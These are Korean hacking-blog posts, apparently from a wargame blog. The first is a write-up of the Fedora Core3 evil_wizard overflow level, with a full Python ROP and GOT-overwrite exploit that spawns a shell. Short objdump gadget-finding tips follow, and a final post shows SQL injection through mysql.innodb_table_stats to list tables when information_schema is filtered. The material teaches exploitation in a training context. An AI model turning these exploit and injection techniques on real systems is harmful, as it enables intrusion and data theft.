이번 문제의 힌트는 got overwrite다.

함수의 got를 덮어써서 원하는 함수(system?)를 실행시키면 될 것 같다.


gdb에서 set명령으로 got를 바꾸어 보았지만 쉘이 안따졌다.

ROP로 문제를 풀어보았다.

 

ROP를 하기 위해 필요한 가젯과 주소들이 있다.


1. POP POP RET = 줄여서 ppr이라고 하겠다.

2. system() 주소

3. printf@plt

4. printf@got

5./bin/sh의 주소



1. ppr 주소

아래 명령어로 ppr 가젯의 위치를 구한다.


$ objdump -d evil_wizard | grep ret -B 3

ppr의 주소는 0x804854f다.


2. system() 주소


system함수 주소는 0x7507c0이다.

이제 system 함수의 조각들이 있는 위치를 각각 찾아야 한다.


명령어는 아래와 같다.

$ objdump -s [파일명] | grep [찾을 문자(열)] --color=auto


리틀엔디언 방식으로 입력해줘야 하니까 system[0]에 c0을 먼저 찾아 넣어야 한다.

c0의 주소는 0x8048414+0xc다.

07의 주소는 0x8048148+0xc다.

.

75의 주소는 0x80482c8이다.

00의 주소는 0x8049840이다.


3. printf@got

printf@got는 0x8049884다.


4. printf@plt 주소

printf@plt의 주소는 0x8048424다.


5. /bin/sh의 주소

#include <stdio.h>
int main()
{
        long shell=0x007507c0;
        while(memcmp((char*)shell,"/bin/sh",8)) shell++;
        printf("/bin/sh : 0x%x\n",shell);
}

/bin/sh의 주소는 c로 소스를 짜서 구할 수 있다.


/bin/sh의 주소는 0x833603이다.


이제 필요한 주소와 가젯을 다 찾았으니 payload를 작성하자.


payload 예시

"A"*268 + strcpy@plt + ppr + printf@got+0 + system[0]
               strcpy@plt + ppr + printf@got+1 + system[1]
               strcpy@plt + ppr + printf@got+2 + system[2]
               strcpy@plt + ppr + printf@got+3 + system[3]
               printf@plt + "AAAA" + "/bin/sh"

pop pop ret가젯으로 printf@got에 system 함수의 주소를 복사한 후 printf@plt를 실행해서 /bin/sh을 실행하는 페이로드다.


페이로드가 길므로 파이썬으로 익스를 짰다.


payload

import os
from struct import *

p = lambda x : pack('<L', x)

strcpyplt = 0x8048494
ppr = 0x804854f
printfplt = 0x8048424
printfgot = 0x8049884
binsh = "\x03\x36\x83"
system = [0x8048420, 0x8048374+4, 0x80482c8, 0x8049840]

payload = "A"*268
payload += p(strcpyplt) + p(ppr) + p(printfgot+0) + p(system[0])
payload += p(strcpyplt) + p(ppr) + p(printfgot+1) + p(system[1])
payload += p(strcpyplt) + p(ppr) + p(printfgot+2) + p(system[2])
payload += p(strcpyplt) + p(ppr) + p(printfgot+3)  + p(system[3])
payload += p(printfplt) + "AAAA" + binsh

os.execv("./evil_wizard",["",payload])


익스 성공

'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core4 dark_stone -> cruel  (0) 2018.02.25
Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24
Fedora Core3 iron_golem -> dark_eyes  (0) 2018.02.23
Fedora Core3 gate -> iron_golem  (0) 2018.02.22

문자열 /bin/sh 찾기

objdump -s (파일명) | grep / --color=auto

objdump -s (파일명) | grep b --color=auto

objdump -s (파일명) | grep i --color=auto

objdump -s (파일명) | grep n --color=auto

objdump -s (파일명) | grep s --color=auto

objdump -s (파일명) | grep h --color=auto


strcpy 주소 찾기

objdump -d (파일명) | grep strcpy


pop pop ret 가젯 찾기

objdump -d (파일명) | grep ret -B3


bss 영역 찾기

objdump -h (파일명) | grep bss



'HACKING > System hacking' 카테고리의 다른 글

64bit rop tip  (0) 2018.05.13
double free bug  (0) 2018.05.10
GOT Overwrite  (0) 2018.02.24
CTF pwn 문제용 nc 서버 만들기  (0) 2018.02.15
GDB BP에 관한 것  (0) 2017.11.29

codegate Simple CMS 문제 write up을 보다가 새로운 sql inejction 기술을 알았다.

보통 information_schema를 이용해 wargame을 많이 풀었었는데 information을 많이 막는 경우엔 먹히지 않는다.


이럴때 풀기 좋은 방법인듯 해서 포스팅 한다.


바로 mysql.innodb_table_stats이다.


사용방법은 간단하다.

먼저 desc로 컬럼 명들을 확인해보자.

database_name, table_name 등 injection에서 중요하게 다룰 수 있는 데이터가 저장되어있다.


select해보면 table명이나 database명을 뽑을 수 있다.

CTF에서 잘 이용할 날이 있으면 좋겠다.




'HACKING > Web hacking' 카테고리의 다른 글

sqli information_schema tip  (0) 2019.07.14
mysql group_concat  (0) 2018.04.04
sql injection 참고  (0) 2018.02.10
LFI Exploit with PHP Protocols / Wrappers  (0) 2017.11.30
Knowing about Local File Inclusion(LFI)  (0) 2017.11.14

+ Recent posts